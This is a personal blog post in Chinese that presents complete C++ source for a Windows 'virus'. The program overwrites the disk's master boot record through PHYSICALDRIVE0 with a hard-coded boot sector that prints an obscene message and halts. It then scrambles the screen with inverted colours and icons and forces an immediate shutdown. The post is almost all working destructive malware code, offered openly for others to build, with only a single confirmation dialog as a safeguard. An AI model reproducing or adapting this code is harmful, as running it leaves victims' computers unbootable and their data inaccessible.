跳到正文

个人记录

一个小病毒

TLE_约 9 分钟
原文
文章信息与版本

文章信息

发布
2022年9月18日
收录
2025年12月12日
更新
2026年11月17日
篇幅
约 9 分钟

版本

  1. v2当前
  2. v1

严格来算木马(?)

废话不多说,上代码

C++
#include "windows.h"
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#define scp SetCursorPos
#define gcp GetCursorPos
#define pt POINT
#include<stdio.h>
#include<bits/stdc++.h>
#include<winioctl.h>
bool check(char c){
	if (KEY_DOWN(c)) return true;
	else return false;
}
using namespace std;
int RevColour(){//反色代码
	HWND hwnd  =  GetDesktopWindow();
	HDC hdc  =  GetWindowDC(hwnd);
//	int n = 100;
//	while (n--){
		BitBlt(hdc,0,0,GetSystemMetrics(SM_CXSCREEN),GetSystemMetrics(SM_CYSCREEN),hdc,0,0,DSTINVERT);
		Sleep(5);
//	}
	return 0;
}
int EZerKillMbr(){//清除MBR      //不要zai自己测试时打开
	ShowWindow(FindWindow(TEXT("ConsoleWindowClass"),0),0);

	unsigned char MBR[] = {0xB4,0x00,0xB0,0x12,0xCD,0x10,0x8C,0xC8,0x8E,0xD8,0x8E,0xC0,0xB4,0x13,0xB0,0x00,0xB7,0x00,0xB3,0x0F,0xB6,0x00,0xB2,0x00,0xBA,0x0A,0x14,0xB3,0xAA,0xB8,0x2C,0x7C,0x89,0xC5,0xB9,0x1D,0x00,0xB8,0x00,0x13,0xCD,0x10,0xFA,0xF4,0x59,0x6F,0x75,0x72,0x20,0x43,0x6F,0x6D,0x70,0x75,0x74,0x65,0x72,0x20,0x48,0x61,0x73,0x20,0x42,0x65,0x65,0x6E,0x20,0x46,0x2A,0x2A,0x6B,0x65,0x64,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA};

	HANDLE hde = CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);

	DWORD wb;

	WriteFile(hde,(LPVOID)MBR,sizeof(MBR),&wb,NULL);
}
int CoverIcon(){//图标覆盖全屏
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	int xall = GetSystemMetrics(SM_CXSCREEN);
	int yall = GetSystemMetrics(SM_CYSCREEN);
	for(int x = 0;x < xall;x += 25){
		RevColour();
		for(int y = 0;y < yall;y += 25){
			DrawIcon(hdc,x,y,LoadIcon(NULL,IDI_ERROR));

		}
	}
}
int RandIcon(){
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	srand(time(0));
	int xall = GetSystemMetrics(SM_CXSCREEN);
	int yall = GetSystemMetrics(SM_CYSCREEN);
	int n = 1000;
	while(n--){
		DrawIcon(hdc,rand() % xall,rand() % yall,LoadIcon(NULL,IDI_WARNING));
		Sleep(5);
	}

}
int IconFollow(){
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	pt p;
	int n = 1000;
	while(n--){
		gcp(&p);
		DrawIcon(hdc,p.x,p.y,LoadIcon(NULL,IDI_QUESTION));
		if(n % 25 == 0){
			RevColour();
		}
		Sleep(25);
	}

}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
	if(MessageBox(NULL,"这是个病毒,确认运行?","来自Rf的警告",MB_OKCANCEL) == 2){
		return 0;
	}
	EZerKillMbr();
	MessageBox(NULL,"注欢迎体验:TconArt1.0","你被噶了",MB_OK);

	CoverIcon();
  RandIcon();
	IconFollow();
//	IconFollow();
	for(int i = 0;i < 100;i++)
	RevColour();
	system("shutdown -s -t 0");
	return 0;
}
原文
存档评论1 条抓取于